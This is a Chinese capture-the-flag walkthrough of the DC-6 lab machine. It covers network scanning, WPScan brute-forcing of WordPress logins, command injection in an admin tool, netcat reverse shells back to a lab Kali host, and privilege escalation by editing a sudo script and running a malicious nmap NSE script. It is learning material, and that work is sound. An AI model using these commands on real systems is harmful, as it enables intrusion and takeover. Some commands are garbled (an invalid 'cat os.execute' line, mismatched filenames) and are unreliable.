DC6靶机训练

kali:192.168.78.131
DC-6：192.168.78.140

ifconfig
nmap -sP 192.168.78.0/24 
nmap -p 1-65535 -A -sV 192.168.78.140

访问80端口，查看框架

眼熟的WordPress，扫描域名，寻找我们需要的登录框

find / -name "dirseach*" 2> /dev/null (查询dirseach模块在哪里
python3 dirsearch.py -u url -e php

找到我们需要的模块： login.php

访问然后查看

既然前面说了框架版本是wordrpress,那就使用WPScan登录爆破

wpscan --url http://wordy -eu 

扫描出账户，保存在name.txt中

进行密码爆破

cat /usr/share/wordlists/rockyou.txt | grep k01 > pass.txt 
wpscan --url wordy -U USER.TXT -P passwords.txt  

登录页面，发现tool这个地方存在RCE(打过CTF的看一眼就知道)

尝试一下看看是否存在RCE

127.0.0.1 | ls 

存在RCE，经过测试这里有长度限制，修改一下即可

反弹一下shell

nc 192.168.78.131 2333 -c /bin/bash

拿到shell，切换成交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

查询开启的SUID

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null  ## 两个命令都可以

没有什么可用的，查看一下用户文件，发现提示文件发现了graham的账户和密码，SSH登录

看一下SUID：

依然没有可以使用的

sudo -l
显示出自己（执行 sudo 的使用者）的权限

可疑的脚本

很显然jens作为用着具有更改修改脚本的能力

修改脚本反弹shell:

vi xxx/xxx
nc -e /bin/bash 192.168.78.131 2333
sudo -u jens /home/jens/backups.sh

监听反弹shell

紧接着查看一下SUID SUDO

发现nmap可以执行，因此接下来就是nmap提权
nmap 不清楚

cat os.execute("/bin/sh") > nse_root.nse
nmap --script=/home/jens/nse_root.nse

提权成功

拿到FLAG

总结一下这个靶机：
这个靶机比前面的靶机更有意思一点，也是因为自己没有什么耐心，所以老是会去看WP，这次靶场一共有3个用户，我们进行了横向移动，最终完成提权：
我们首先在A账户里面发发现了B账户的账号和密码，然后通过B账号的账号和密码查询SUID发现了拥有者为C账户的可编辑执行脚本，于是反弹shell拿到C账户的shell，然后通过C账户使用nmap进行提权，最后拿下FLAG，做完之后发现做题需要的更多的是耐心，只有一步步探索才能真正享受乐趣